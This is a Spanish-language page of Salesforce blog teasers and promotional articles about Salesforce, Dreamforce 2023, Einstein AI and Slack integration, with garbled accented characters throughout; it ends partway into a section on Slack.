Skip to content

Etiqueta: Integraciones

Dentro de la integraci贸n de 100 productos dentro de Marketing Cloud Growth Edition

En esta edici贸n de nuestra serie “Engineering Energizers” Q&A, destacamos a Jeanine Walters, arquitecta principal y arquitecta principal de Marketing Cloud Growth Edition en Salesforce. Con m谩s de 20 a帽os de experiencia en la creaci贸n de soluciones innovadoras en Salesforce, Jeanine ha desempe帽ado un papel fundamental en la creaci贸n de una aplicaci贸n de marketing revolucionaria que permite a las peque帽as y medianas empresas (PYMES) […]

La serie <a rel

El art铆culo Misi贸n imposible: Inside the Unprecedented Integration of 100 Products Within Salesforce’s New Marketing Cloud Growth Edition appeared first on Blog de ingenier铆a de Salesforce.

La misi贸n es imposible

Seguir leyendo

5 cosas que debe tener su CRM de servicios financieros

El informe Forrester Wave鈩: Financial Services CRM, Q3 2023 Report identific贸, analiz贸 y puntu贸 los CRM de servicios financieros m谩s significativos – y tenemos lo que necesita para apostar por su pr贸xima soluci贸n.

Seguir leyendo

Los 5 sombreros de un consultor de Salesforce

Un consultor de Salesforce no es s贸lo un experto t茅cnico que ayuda a crear flujos y ejecutar informes. Vamos m谩s all谩, y nos corresponde adoptar la posici贸n de asesor empresarial de confianza y socio estrat茅gico.  Nuestra experiencia como consultor debe ir m谩s all谩 de conocer Salesforce al dedillo. Tambi茅n debemos ser conscientes de […]

The post Los 5 sombreros de un consultor de Salesforce appeared first on Salesforce Ben.

Los 5 sombreros de un consultor de Salesforce appeared first on Salesforce Ben

Seguir leyendo

Ahorre tiempo y cierre m谩s acuerdos: Salesforce Sales Cloud es la mejor herramienta para su proceso de ventas

Desde la generaci贸n de prospectos hasta el cierre de acuerdos, desvele los secretos de un proceso de ventas de 茅xito y descubra el poder transformador de Salesforce Sales Cloud.

El post Ahorre tiempo y cierre m谩s acuerdos con Salesforce Sales Cloud

The post Ahorre tiempo y cierre m谩s acuerdos: Salesforce Sales Cloud es la mejor herramienta para su proceso de ventas appeared first on Salesforce.

Consiga ahorrar tiempo y cerrar m谩s operaciones con Salesforce Sales Cloud

Seguir leyendo

La versi贸n Spring ’24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring '24: Una gu铆a completa para desarrolladores de Salesforce 鈽侊笍

La versi贸n Spring ’24 ya est谩 aqu铆, y estos son algunos de los aspectos m谩s destacados de la versi贸n, que detallan las novedades para los desarrolladores de todo el ecosistema de Salesforce.

La versi贸n Spring ’24 ya est谩 aqu铆

The post Gu铆a para desarrolladores de Salesforce sobre la versi贸n Spring ’24 appeared first on Blog para desarrolladores de Salesforce.

La versi贸n Spring ’24 ya est谩 aqu铆

Seguir leyendo

Aprovechar el potencial de las acciones de datos utilizando un Webhook como destino 鈽侊笍

Aprovechar el potencial de las acciones de datos utilizando un Webhook como destino 鈽侊笍

Aprenda sobre la funci贸n Data Actions de Data Cloud y recorra c贸mo ampliar un webhook como objetivo para visualizar e impulsar los resultados empresariales.

Los eventos webhook se pueden utilizar para la visualizaci贸n

The post Desbloquee el poder de las acciones de datos utilizando un webhook como objetivo appeared first on Blog de desarrolladores de Salesforce.

Descubra la funci贸n de Data Cloud y aprenda a ampliar un webhook como objetivo para visualizar e impulsar resultados empresariales

Seguir leyendo

Consulta de datos adicionales mediante consultas SOQL anidadas en la API REST 鈽侊笍

Consulta de datos adicionales mediante consultas SOQL anidadas en la API REST 鈽侊笍

Combine varias llamadas a la API en una 煤nica llamada a la API para simplificar su c贸digo y reducir el n煤mero de llamadas a la API que se contabilizan en su l铆mite diario.

Las consultas SOQL anidadas son una forma de simplificar su c贸digo

The post Consulte m谩s datos con consultas SOQL anidadas en la API de REST appeared first on Blog de desarrolladores de Salesforce.

Seguir leyendo

La vicepresidenta senior de Slack aborda de frente los nuevos retos de la IA y la automatizaci贸n

Por Rukmini Reddy y Scott Nyberg En nuestra serie de preguntas y respuestas 芦Engineering Energizers禄, examinamos las trayectorias profesionales que han formado a los l铆deres de ingenier铆a de Salesforce. Conozca a Rukmini Reddy, Vicepresidenta senior de ingenier铆a de software de la plataforma Slack. El objetivo de su equipo es potenciar a los desarrolladores, mejorar la productividad y ampliar los l铆mites de la innovaci贸n en IA y automatizaci贸n en […]

El post Future-Driven Dev Empowerment: Slack SVP Tackles New AI and Automation Challenges Head-On appeared first on Blog de ingenier铆a de Salesforce.

La tecnolog铆a de Slack es la clave de la innovaci贸n

Seguir leyendo

Lista de comprobaci贸n de implementaci贸n de Salesforce: De la puesta en marcha a la adopci贸n

Las implementaciones de Salesforce, tambi茅n conocidas como ‘releases’, son uno de los mayores retos para los administradores, consultores y aquellos que trabajan en otras muchas funciones. A medida que las organizaciones de Salesforce se vuelven cada vez m谩s complejas, los cambios suelen tener muchas partes 芦m贸viles禄 que pueden tener repercusiones de gran alcance en la organizaci贸n de Salesforce. Una vez que est茅 satisfecho con la soluci贸n que ha construido (en un sandbox) […]

The post Lista de comprobaci贸n de la implementaci贸n de Salesforce: De la puesta en marcha a la adopci贸n appeared first on Salesforce Ben.

Seguir leyendo

Marco para el dise帽o de soluciones Salesforce para equipos empresariales de comercializaci贸n

Introducirse en una nueva organizaci贸n por primera vez puede ser casi como embarcarse en un viaje a trav茅s del mar oscuro durante la temporada de tormentas. Esto es especialmente cierto en un entorno empresarial que tiene cientos o miles de usuarios utilizados por m煤ltiples grupos de partes interesadas que tienen su propia pila tecnol贸gica integrada en Salesforce. He […]

El post Marco para el dise帽o de soluciones Salesforce para equipos empresariales de lanzamiento al mercado appeared first on Salesforce Ben.

Seguir leyendo

Descubriendo Salesforce en San Francisco: La gu铆a definitiva para el 茅xito empresarial

Introducci贸n a Salesforce: 驴Qu茅 es y c贸mo puede ayudar a tu empresa?

Salesforce es una plataforma de gesti贸n de relaciones con los clientes (CRM, por sus siglas en ingl茅s) que ofrece una amplia gama de soluciones para ayudar a las empresas a gestionar sus ventas, marketing y servicio al cliente de manera eficiente. Con Salesforce, las empresas pueden centralizar toda la informaci贸n relacionada con sus clientes en una sola plataforma, lo que les permite tener una visi贸n completa de sus clientes y tomar decisiones m谩s informadas.

Los beneficios de Salesforce para las empresas son numerosos. En primer lugar, Salesforce ayuda a mejorar la eficiencia y la productividad al automatizar tareas repetitivas y permitir a los empleados acceder a la informaci贸n que necesitan de manera r谩pida y sencilla. Adem谩s, Salesforce proporciona herramientas de an谩lisis y generaci贸n de informes que permiten a las empresas obtener informaci贸n valiosa sobre sus clientes y tomar decisiones basadas en datos.

San Francisco: La cuna de Salesforce y su cultura empresarial innovadora.

San Francisco ha sido durante mucho tiempo un centro de innovaci贸n y emprendimiento, atrayendo a empresas tecnol贸gicas l铆deres en el mundo. La ciudad ha sido el hogar de muchas startups exitosas y ha cultivado una cultura empresarial 煤nica que fomenta la creatividad, la colaboraci贸n y la innovaci贸n.

La cultura empresarial de San Francisco ha tenido una gran influencia en Salesforce. La empresa fue fundada en San Francisco en 1999 por Marc Benioff, Parker Harris, Dave Moellenhoff y Frank Dominguez, quienes se inspiraron en la cultura empresarial de la ciudad para crear una empresa centrada en el cliente y orientada a la innovaci贸n.

Descubriendo la historia de Salesforce: Desde sus inicios hasta convertirse en l铆der del mercado.

Salesforce fue fundada en 1999 por Marc Benioff, Parker Harris, Dave Moellenhoff y Frank Dominguez en un peque帽o apartamento en San Francisco. En sus primeros a帽os, la empresa se centr贸 en el desarrollo de una plataforma de CRM basada en la nube, que permit铆a a las empresas gestionar sus relaciones con los clientes de manera m谩s eficiente.

A lo largo de los a帽os, Salesforce ha experimentado un crecimiento y una evoluci贸n significativos. La empresa ha ampliado su oferta de productos y servicios, adquiriendo otras empresas y desarrollando nuevas soluciones para satisfacer las necesidades cambiantes de sus clientes. Hoy en d铆a, Salesforce es l铆der en el mercado de CRM y cuenta con millones de usuarios en todo el mundo.

驴Por qu茅 elegir Salesforce? Ventajas y beneficios para tu empresa.

Salesforce ofrece numerosas ventajas para la gesti贸n de clientes. Con Salesforce, las empresas pueden centralizar toda la informaci贸n relacionada con sus clientes en una sola plataforma, lo que les permite tener una visi贸n completa de sus clientes y tomar decisiones m谩s informadas. Adem谩s, Salesforce proporciona herramientas de an谩lisis y generaci贸n de informes que permiten a las empresas obtener informaci贸n valiosa sobre sus clientes y tomar decisiones basadas en datos.

En cuanto a la gesti贸n de ventas, Salesforce ofrece herramientas para gestionar todo el ciclo de ventas, desde la captaci贸n de leads hasta el cierre de negocios. Con Salesforce, las empresas pueden automatizar tareas repetitivas, como el seguimiento de oportunidades y la generaci贸n de cotizaciones, lo que les permite ahorrar tiempo y recursos. Adem谩s, Salesforce proporciona herramientas de an谩lisis que permiten a las empresas evaluar el rendimiento de su equipo de ventas y tomar decisiones basadas en datos.

En cuanto a la gesti贸n de marketing, Salesforce ofrece herramientas para gestionar campa帽as de marketing, automatizar el seguimiento de leads y medir el retorno de la inversi贸n en marketing. Con Salesforce, las empresas pueden crear campa帽as personalizadas y segmentadas, lo que les permite llegar a su p煤blico objetivo de manera m谩s efectiva. Adem谩s, Salesforce proporciona herramientas de an谩lisis que permiten a las empresas evaluar el rendimiento de sus campa帽as de marketing y tomar decisiones basadas en datos.

La implementaci贸n de Salesforce: Pasos clave para una transici贸n exitosa.

La implementaci贸n de Salesforce puede ser un proceso complejo, pero siguiendo algunos pasos clave se puede lograr una transici贸n exitosa. En primer lugar, es importante prepararse para la implementaci贸n de Salesforce. Esto implica identificar los objetivos y las necesidades de la empresa, as铆 como asegurarse de tener los recursos necesarios para llevar a cabo la implementaci贸n.

Una vez que se ha realizado la preparaci贸n, es importante seleccionar la edici贸n de Salesforce adecuada para la empresa. Salesforce ofrece diferentes ediciones con diferentes caracter铆sticas y precios, por lo que es importante evaluar las necesidades de la empresa y seleccionar la edici贸n que mejor se adapte a ellas.

Una vez seleccionada la edici贸n adecuada, es importante personalizar Salesforce para las necesidades espec铆ficas de la empresa. Esto implica configurar campos personalizados, crear flujos de trabajo y automatizar tareas repetitivas. Tambi茅n es importante capacitar a los empleados en el uso de Salesforce y asegurarse de que comprendan c贸mo utilizar todas las funcionalidades de la plataforma.

Salesforce en acci贸n: Ejemplos de empresas que han logrado el 茅xito gracias a su uso.

Muchas empresas han implementado Salesforce con 茅xito y han experimentado mejoras significativas en su gesti贸n de clientes, ventas y marketing. Por ejemplo, Coca-Cola ha utilizado Salesforce para centralizar toda la informaci贸n relacionada con sus clientes y mejorar la eficiencia de su equipo de ventas. Gracias a Salesforce, Coca-Cola ha podido tomar decisiones m谩s informadas y ha experimentado un aumento en las ventas.

Otro ejemplo es Adidas, que ha utilizado Salesforce para gestionar sus campa帽as de marketing y mejorar la efectividad de sus estrategias de marketing. Gracias a Salesforce, Adidas ha podido llegar a su p煤blico objetivo de manera m谩s efectiva y ha experimentado un aumento en el retorno de la inversi贸n en marketing.

La importancia de la formaci贸n en Salesforce: C贸mo capacitar a tus empleados para maximizar su uso.

La formaci贸n en Salesforce es fundamental para maximizar su uso y aprovechar al m谩ximo todas las funcionalidades de la plataforma. Es importante capacitar a los empleados en el uso de Salesforce y asegurarse de que comprendan c贸mo utilizar todas las funcionalidades de la plataforma.

La formaci贸n en Salesforce puede incluir sesiones de capacitaci贸n presenciales, tutoriales en l铆nea y materiales de referencia. Tambi茅n es importante proporcionar soporte continuo a los empleados y estar disponible para responder preguntas y resolver problemas.

La formaci贸n en Salesforce no solo beneficia a los empleados, sino tambi茅n a la empresa en su conjunto. Los empleados capacitados en Salesforce son m谩s eficientes y productivos, lo que se traduce en una mejora en la gesti贸n de clientes, ventas y marketing.

Salesforce y la transformaci贸n digital: C贸mo esta herramienta puede impulsar la innovaci贸n y el crecimiento.

Salesforce juega un papel fundamental en la transformaci贸n digital de las empresas. La transformaci贸n digital implica el uso de tecnolog铆a para mejorar los procesos empresariales y ofrecer una mejor experiencia al cliente. Salesforce proporciona las herramientas necesarias para impulsar la innovaci贸n y el crecimiento de la empresa.

Salesforce permite a las empresas automatizar tareas repetitivas, lo que les permite ahorrar tiempo y recursos. Adem谩s, Salesforce proporciona herramientas de an谩lisis y generaci贸n de informes que permiten a las empresas obtener informaci贸n valiosa sobre sus clientes y tomar decisiones basadas en datos.

La transformaci贸n digital con Salesforce tambi茅n implica la integraci贸n de diferentes sistemas y aplicaciones en una sola plataforma. Salesforce ofrece una amplia gama de integraciones con otras herramientas y sistemas, lo que permite a las empresas centralizar toda su informaci贸n en una sola plataforma y tener una visi贸n completa de sus clientes.

Salesforce en San Francisco: Visitando sus oficinas y conociendo su cultura empresarial.

Las oficinas de Salesforce en San Francisco son un lugar emblem谩tico para visitar. Las oficinas est谩n ubicadas en el centro de la ciudad y reflejan la cultura empresarial innovadora y creativa de San Francisco.

Las oficinas de Salesforce en San Francisco cuentan con espacios abiertos y colaborativos, donde los empleados pueden trabajar juntos e intercambiar ideas. Tambi茅n cuentan con 谩reas de descanso y recreaci贸n, donde los empleados pueden relajarse y recargar energ铆as.

Muchos visitantes han elogiado la cultura empresarial de Salesforce en San Francisco. Han destacado la pasi贸n y el compromiso de los empleados, as铆 como el ambiente positivo y colaborativo que se respira en las oficinas.

Conclusiones: C贸mo Salesforce puede ayudar a tu empresa a alcanzar el 茅xito empresarial en San Francisco y m谩s all谩.

En resumen, Salesforce es una plataforma de gesti贸n de relaciones con los clientes que ofrece numerosos beneficios para las empresas. Con Salesforce, las empresas pueden mejorar la eficiencia y la productividad, gestionar sus ventas y marketing de manera m谩s efectiva y tomar decisiones basadas en datos.

La implementaci贸n de Salesforce puede ser un proceso complejo, pero siguiendo algunos pasos clave se puede lograr una transici贸n exitosa. Es importante prepararse para la implementaci贸n, seleccionar la edici贸n adecuada y personalizar Salesforce para las necesidades de la empresa.

La formaci贸n en Salesforce es fundamental para maximizar su uso y aprovechar al m谩ximo todas las funcionalidades de la plataforma. La formaci贸n en Salesforce beneficia tanto a los empleados como a la empresa en su conjunto.

Salesforce juega un papel fundamental en la transformaci贸n digital de las empresas, impulsando la innovaci贸n y el crecimiento. Salesforce permite a las empresas automatizar tareas repetitivas, obtener informaci贸n valiosa sobre sus clientes y centralizar toda su informaci贸n en una sola plataforma.

Las oficinas de Salesforce en San Francisco son un lugar emblem谩tico para visitar y reflejan la cultura empresarial innovadora y creativa de la ciudad. Las oficinas cuentan con espacios abiertos y colaborativos, donde los empleados pueden trabajar juntos e intercambiar ideas.

En conclusi贸n, Salesforce puede ayudar a las empresas a alcanzar el 茅xito empresarial en San Francisco y m谩s all谩 al mejorar la gesti贸n de clientes, ventas y marketing, impulsar la innovaci贸n y el crecimiento, y fomentar una cultura empresarial colaborativa e innovadora.
En este art铆culo relacionado a Salesforce San Francisco, descubrir谩s c贸mo impulsar el crecimiento con soluciones de comercio r谩pido en AppExchange. Conoce las ventajas de utilizar estas soluciones en la nube para agilizar tus procesos comerciales y aumentar tus ventas. 隆No te lo pierdas! Leer m谩s

5 razones por las que necesita un diccionario de datos de Salesforce

Desde el temor a las imprecisiones en los informes hasta la lucha constante contra los silos de datos y la sombra amenazadora de los incumplimientos, los retos de supervisar sus datos son abundantes. Y no hablemos ya de los quebraderos de cabeza financieros que provocan las malas pr谩cticas de gesti贸n de datos. Mantener un diccionario de datos no es solo marcar una casilla […]

The post 5 razones por las que necesita un diccionario de datos de Salesforce appeared first on Salesforce Ben.

Las razones por las que necesita un diccionario de datos de Salesforce appeared first on Salesforce Ben

Seguir leyendo

Simplificaci贸n de las implementaciones de Salesforce CPQ: Estrategias para el 茅xito

Salesforce CPQ (Configure, Price, Quote) es una potente herramienta que agiliza el proceso de creaci贸n de presupuestos precisos para productos y servicios. Como parte integral de Salesforce Revenue Cloud, CPQ ayuda a las organizaciones a optimizar sus procesos de ventas, mejorar la generaci贸n de ingresos y ofrecer una mejor experiencia general al cliente. Sin embargo, implementar, desarrollar y mantener Salesforce CPQ puede ser […]

The post C贸mo simplificar las implementaciones de Salesforce CPQ: Estrategias para el 茅xito appeared first on Salesforce Ben.

La simplificaci贸n de las implementaciones de CPQ de Salesforce: Estrategias para el 茅xito

Seguir leyendo

Dreamforce 2023: IA que entiende metadatos y prioriza seguridad de datos

Salesforce est谩 organizando Dreamforce, el evento de IA m谩s grande del a帽o. El CEO, Mark Benioff, expresa gratitud a los asistentes y destaca la importancia de sus contribuciones al 茅xito de la empresa.

El Evento Dreamforce

El Evento Dreamforce es una de las conferencias m谩s grandes y relevantes del mundo en el 谩mbito de la tecnolog铆a, negocios y transformaci贸n digital. Cada a帽o, miles de profesionales se re煤nen para explorar las 煤ltimas innovaciones en inteligencia artificial (IA) y escuchar las ideas visionarias de conferencistas destacados.

Presentaciones de expertos en IA y conferencistas visionarios

Una de las caracter铆sticas m谩s destacadas del Evento Dreamforce son las presentaciones de expertos en IA y los discursos de conferencistas visionarios. Estos profesionales comparten sus conocimientos y experiencias sobre c贸mo la IA est谩 transformando la forma en que hacemos negocios y c贸mo podemos utilizarla para impulsar la innovaci贸n y el 茅xito empresarial.

Enfoque en innovaci贸n, confianza y hacer el bien

El Evento Dreamforce tiene un enfoque claro en la innovaci贸n, la confianza y hacer el bien. Los asistentes tienen la oportunidad de conocer las 煤ltimas tendencias y avances tecnol贸gicos que est谩n revolucionando la manera en que nos conectamos con nuestros clientes y c贸mo maximizar su experiencia. Se enfatiza la importancia de construir relaciones de confianza y utilizar la tecnolog铆a para lograr el bienestar general.

Conexi贸n de clientes con sus clientes de una nueva manera utilizando datos, IA, CRM y confianza

La conexi贸n de los clientes con sus propios clientes de una nueva manera es una de las principales tem谩ticas del Evento Dreamforce. Se explora c贸mo los datos, la IA y los sistemas de relaciones con los clientes (CRM) pueden ser utilizados para mejorar la experiencia del cliente y fortalecer las relaciones comerciales. Se destaca la importancia de construir una base s贸lida de confianza para lograr resultados positivos.

Compromiso con la sostenibilidad y desarrollo del producto Net Zero Cloud para reducir la huella de carbono

El Evento Dreamforce se compromete con la sostenibilidad y el desarrollo de soluciones que ayuden a reducir la huella de carbono. Se presenta el producto Net Zero Cloud, el cual utiliza tecnolog铆as sostenibles para minimizar el impacto ambiental de las operaciones en la nube. Esto demuestra la responsabilidad y el compromiso de la conferencia con el medio ambiente.

Donaciones millonarias a organizaciones ben茅ficas y escuelas p煤blicas

El Evento Dreamforce es tambi茅n un evento solidario que busca generar un impacto positivo en la comunidad. Cada a帽o, se realizan donaciones millonarias a organizaciones ben茅ficas y escuelas p煤blicas para apoyar la educaci贸n, el bienestar social y el desarrollo sostenible. Esta iniciativa muestra el compromiso de la conferencia en marcar una diferencia en la sociedad.

En resumen, el Evento Dreamforce es una conferencia de renombre mundial que re煤ne a expertos en IA y conferencistas visionarios. Se enfoca en la innovaci贸n, la confianza y hacer el bien, y busca conectar a los clientes con sus propios clientes de una nueva manera utilizando datos, IA, CRM y confianza. Adem谩s, se compromete con la sostenibilidad a trav茅s del desarrollo del producto Net Zero Cloud y realiza donaciones millonarias a organizaciones ben茅ficas y escuelas p煤blicas. Este evento es una oportunidad 煤nica para aprender, inspirarse y colaborar en la creaci贸n de un futuro mejor.

Salesforce y su Compromiso con la IA

Salesforce es una de las empresas de software m谩s grandes y exitosas del mundo, y su compromiso con la inteligencia artificial (IA) es innegable. No solo es la tercera empresa de software m谩s grande a nivel mundial, sino que tambi茅n es la segunda m谩s grande en Jap贸n, lo que demuestra su posici贸n dominante en el mercado.

Lo m谩s impresionante de Salesforce es su s贸lido conjunto de valores, que incluyen la sostenibilidad, igualdad, innovaci贸n, 茅xito del cliente y confianza. Estos valores se extienden a su enfoque en la IA, donde Salesforce se ha convertido en una plataforma confiable para empresas de clientes de todos los tama帽os.

La tecnolog铆a de IA de Salesforce es excepcional, ya que comprende los metadatos y prioriza la privacidad y seguridad de los datos. Esta es una preocupaci贸n crucial para muchas empresas, y Salesforce ha trabajado arduamente para garantizar que su plataforma de IA sea confiable y segura.

Uno de los aspectos m谩s destacados del compromiso de Salesforce con la IA es su enfoque en la productividad y el 茅xito del cliente, en lugar de utilizar los datos con fines de lucro. Salesforce entiende que su 茅xito depende del 茅xito de sus clientes, y utiliza la IA para mejorar la eficiencia y brindar soluciones personalizadas que satisfagan las necesidades espec铆ficas de cada cliente.

Valores de sostenibilidad, igualdad, innovaci贸n, 茅xito del cliente y confianza

En Salesforce, los valores son m谩s que simplemente palabras en un papel. La empresa se esfuerza por ser sostenible en todas sus operaciones, minimizando su impacto en el medio ambiente y abogando por pr谩cticas comerciales responsables. Salesforce tambi茅n se preocupa profundamente por la igualdad y la diversidad, y se esfuerza por construir una fuerza laboral diversa e inclusiva.

La innovaci贸n es el coraz贸n de Salesforce. La empresa siempre est谩 buscando formas de mejorar y avanzar en su tecnolog铆a para brindar a sus clientes las mejores soluciones posibles. Su enfoque en el 茅xito del cliente es otro aspecto destacado de su compromiso con la IA. Salesforce se enorgullece de brindar un excelente servicio al cliente y de ayudar a sus clientes a alcanzar sus metas y objetivos comerciales.

La confianza es la piedra angular de la relaci贸n entre Salesforce y sus clientes. Salesforce se compromete a proteger los datos y la privacidad de sus clientes y trabaja constantemente para mejorar sus medidas de seguridad. Su tecnolog铆a de IA es un claro ejemplo de este compromiso, ya que comprende los metadatos y prioriza la privacidad y seguridad de los datos.

Plataforma de IA confiable para empresas de clientes

Con su s贸lida plataforma de IA, Salesforce se ha convertido en un l铆der en la industria, brindando soluciones confiables y avanzadas a empresas de todo el mundo. La plataforma de IA de Salesforce utiliza algoritmos inteligentes y an谩lisis de datos para ayudar a las empresas a tomar decisiones m谩s informadas y estrat茅gicas.

La plataforma de IA de Salesforce se destaca por su capacidad para comprender metadatos y aprovechar la informaci贸n para brindar perspectivas valiosas. Esto permite a las empresas aprovechar al m谩ximo sus datos y tomar decisiones basadas en hechos para impulsar su crecimiento y 茅xito.

Tecnolog铆a de IA que entiende metadatos y prioriza privacidad y seguridad de datos

La tecnolog铆a de IA de Salesforce es especialmente avanzada en t茅rminos de comprender metadatos y priorizar la privacidad y seguridad de los datos. La plataforma aprovecha los metadatos para ofrecer soluciones personalizadas y relevantes a los clientes sin comprometer la privacidad o seguridad de los datos.

La privacidad y seguridad de los datos son preocupaciones cada vez mayores en un mundo cada vez m谩s digital. Salesforce se toma este problema en serio y ha invertido mucho en garantizar que sus soluciones de IA cumplan con los m谩s altos est谩ndares de seguridad y protecci贸n de datos.

Enfoque en productividad y 茅xito del cliente, no en utilizar datos con fines de lucro

A diferencia de muchas otras empresas de tecnolog铆a, Salesforce no se enfoca en utilizar los datos con fines de lucro. En cambio, se centra en mejorar la productividad y el 茅xito de sus clientes. La IA de Salesforce se utiliza para automatizar tareas repetitivas, proporcionar informaci贸n valiosa y ayudar a las empresas a tomar decisiones m谩s informadas y estrat茅gicas.

Al utilizar la IA de Salesforce, las empresas pueden liberar tiempo y recursos para centrarse en actividades m谩s estrat茅gicas y de valor agregado. Esto no solo mejora la productividad, sino que tambi茅n impulsa el 茅xito comercial a largo plazo.

Conclusi贸n

Salesforce ha demostrado su compromiso con la IA al convertirse en una plataforma confiable y segura para empresas de todo el mundo. Sus s贸lidos valores de sostenibilidad, igualdad, innovaci贸n, 茅xito del cliente y confianza respaldan su enfoque en la IA y su compromiso de proporcionar soluciones de valor a sus clientes. Con su tecnolog铆a de vanguardia, comprensi贸n de metadatos y priorizaci贸n de privacidad y seguridad de datos, Salesforce est谩 impulsando la productividad y el 茅xito del cliente, sin comprometer la confidencialidad de los datos o utilizarlos con fines de lucro.

Innovaci贸n y Accesibilidad de la IA

La Inteligencia Artificial (IA) est谩 revolucionando la forma en que realizamos tareas cotidianas y est谩 transformando la manera en que las empresas operan. Salesforce, una de las empresas l铆deres en el campo de la IA, ha desarrollado diversas innovaciones y mejoras para potenciar su plataforma Einstein y hacerla m谩s accesible para usuarios de todos los niveles, desde no programadores hasta desarrolladores de bajo c贸digo.

Una de las caracter铆sticas destacadas de la IA en Salesforce es su motor de flujo de trabajo integrado e inteligente. Este motor es capaz de automatizar trillones de tareas, lo cual agiliza los procesos empresariales y libera tiempo para que los equipos se enfoquen en tareas de mayor valor. Con la IA, las empresas pueden optimizar sus operaciones y ser m谩s eficientes en la entrega de productos y servicios.

Otra ventaja significativa de la IA en Salesforce es su accesibilidad para no programadores y desarrolladores de bajo c贸digo. La plataforma Einstein ha sido dise帽ada pensando en estos usuarios, brindando herramientas intuitivas y f谩ciles de usar que permiten aprovechar los beneficios de la IA sin necesidad de tener conocimientos avanzados de programaci贸n. Esto impulsa la adopci贸n de la IA en organizaciones de diversos tama帽os y sectores, democratizando su uso.

Para fomentar la innovaci贸n en la plataforma Einstein, Salesforce ha lanzado un fondo de inversi贸n de $500 millones para apoyar a emprendedores y startups. Este fondo busca impulsar el desarrollo de soluciones basadas en la IA y promover la creaci贸n de aplicaciones avanzadas que aprovechen el potencial de esta tecnolog铆a. Con esta iniciativa, Salesforce busca fortalecer su ecosistema de socios y continuar liderando el camino en t茅rminos de innovaci贸n en IA.

La 茅tica y la responsabilidad son valores fundamentales en el desarrollo y aplicaci贸n de la IA. Salesforce ha hecho hincapi茅 en la importancia de seguir pr谩cticas 茅ticas y responsables en el uso de la tecnolog铆a. La plataforma Einstein est谩 dise帽ada para proteger la privacidad de los datos y garantizar la transparencia en el procesamiento de la informaci贸n. Esto es especialmente relevante en un mundo cada vez m谩s preocupado por la privacidad y la seguridad de los datos.

Adem谩s de las caracter铆sticas propias de la plataforma Einstein, Salesforce tambi茅n ha integrado su IA con otras empresas l铆deres en sus respectivos campos. La colaboraci贸n con empresas como Tableau y MuleSoft ha permitido mejorar las capacidades de IA e integraci贸n de Salesforce. Estas integraciones permiten a los usuarios aprovechar las funcionalidades de la IA en conjunto con otras herramientas y servicios, potenciando su eficiencia y brindando soluciones m谩s completas.

En resumen, Salesforce est谩 impulsando la innovaci贸n y la accesibilidad de la IA a trav茅s de su plataforma Einstein. Con su motor de flujo de trabajo integrado e inteligente, su enfoque en la accesibilidad para no programadores y desarrolladores de bajo c贸digo, su fondo de inversi贸n para emprendedores y startups, su 茅nfasis en pr谩cticas 茅ticas y responsables, y su integraci贸n con empresas l铆deres en el mercado, Salesforce est谩 liderando el camino en el campo de la IA y permitiendo a las empresas aprovechar todo el potencial de esta tecnolog铆a para impulsar su 茅xito.

Salesforce y Einstein Co-Pilot Studio

En la era de la inteligencia artificial (IA), las organizaciones est谩n buscando formas de aprovechar al m谩ximo esta tecnolog铆a para mejorar sus procesos y aumentar su eficiencia. Salesforce y Einstein Co-Pilot Studio se han convertido en una herramienta muy valiosa para personalizar y ampliar las capacidades de la IA.

Una de las principales ventajas de Salesforce y Einstein Co-Pilot Studio es su capacidad para permitir a las empresas conectar modelos propios e integrarse con modelos de socios. Esto significa que las organizaciones pueden aprovechar tanto los modelos preexistentes como los que han creado internamente para obtener resultados m谩s precisos y personalizados.

Otra caracter铆stica destacada de esta herramienta es la creaci贸n de instrucciones y habilidades para mejorar las capacidades de la IA. Los usuarios pueden desarrollar instrucciones y habilidades espec铆ficas que ayudan al sistema a comprender y realizar tareas complejas de manera m谩s eficiente. Esto implica un enfoque en el razonamiento y la ejecuci贸n de tareas similares a como lo har铆a un humano.

Einstein Co-Pilot Studio facilita la implementaci贸n de la IA en organizaciones de todos los tama帽os y sectores. A trav茅s de su interfaz intuitiva, las empresas pueden aprovechar al m谩ximo los beneficios de la IA sin necesidad de invertir en recursos adicionales o conocimientos t茅cnicos avanzados.

Algunas de las tareas que Einstein Co-Pilot Studio puede ejecutar incluyen el an谩lisis de grandes cantidades de datos, la clasificaci贸n de informaci贸n, el procesamiento de lenguaje natural y la generaci贸n de insights basados en patrones identificados. Esto permite a las organizaciones automatizar procesos, tomar decisiones m谩s informadas y mejorar su eficiencia operativa en general.

Usar Einstein Co-Pilot Studio tambi茅n significa que las empresas pueden contar con un sistema de IA personalizado y adaptable a sus necesidades y objetivos espec铆ficos. Los modelos desarrollados en la plataforma pueden ajustarse y actualizarse f谩cilmente a medida que se obtienen nuevos datos y se identifican nuevas tendencias y patrones.

En resumen, Salesforce y Einstein Co-Pilot Studio son una combinaci贸n poderosa para impulsar la implementaci贸n exitosa de la IA en organizaciones. Esta herramienta ofrece la posibilidad de personalizar y ampliar las capacidades de la IA, conectar modelos propios e integrarse con modelos de socios, y mejorar el razonamiento y la ejecuci贸n de tareas como lo har铆a un humano. Todo esto, sin la necesidad de invertir en recursos adicionales o conocimientos t茅cnicos avanzados.

Integraci贸n de Slack en Salesforce

La integraci贸n de Slack en Salesforce ha revolucionado la forma en que los profesionales trabajan y se comunican. Con la combinaci贸n de la plataforma de colaboraci贸n en equipo l铆der en el mercado, Slack, y el popular sistema de gesti贸n de relaciones con los clientes, Salesforce, los usuarios pueden aprovechar una nueva experiencia de usuario que ofrece funciones impulsadas por IA, mejorando su productividad y eficiencia.

Nueva experiencia de usuario y funciones impulsadas por IA

La integraci贸n de Slack en Salesforce introduce una nueva y emocionante experiencia de usuario, que permite a los equipos colaborar de manera m谩s efectiva y eficiente. Con la funci贸n de inteligencia artificial de Slack, los usuarios pueden recibir sugerencias inteligentes y recomendaciones basadas en su flujo de trabajo. Esto ayuda a optimizar las tareas diarias y a tomar decisiones informadas.

Slack Lists para rastrear trabajo y Slack Sales Elevate para vendedores

Una de las caracter铆sticas destacadas de la integraci贸n de Slack en Salesforce es la capacidad de utilizar Slack Lists para rastrear el trabajo y mantener al equipo organizado. Los usuarios pueden crear listas personalizadas para proyectos, tareas pendientes y seguimiento de hitos. Esto facilita la colaboraci贸n y el seguimiento del progreso del trabajo.

Adem谩s, los vendedores se benefician de Slack Sales Elevate, una caracter铆stica dise帽ada espec铆ficamente para ellos. Esta funci贸n permite a los vendedores acceder a informaci贸n y recursos clave directamente desde Slack, lo que les ayuda a mejorar las relaciones con los clientes y cerrar m谩s acuerdos de manera efectiva.

Visualizaci贸n y actualizaci贸n de datos de Salesforce directamente en Slack
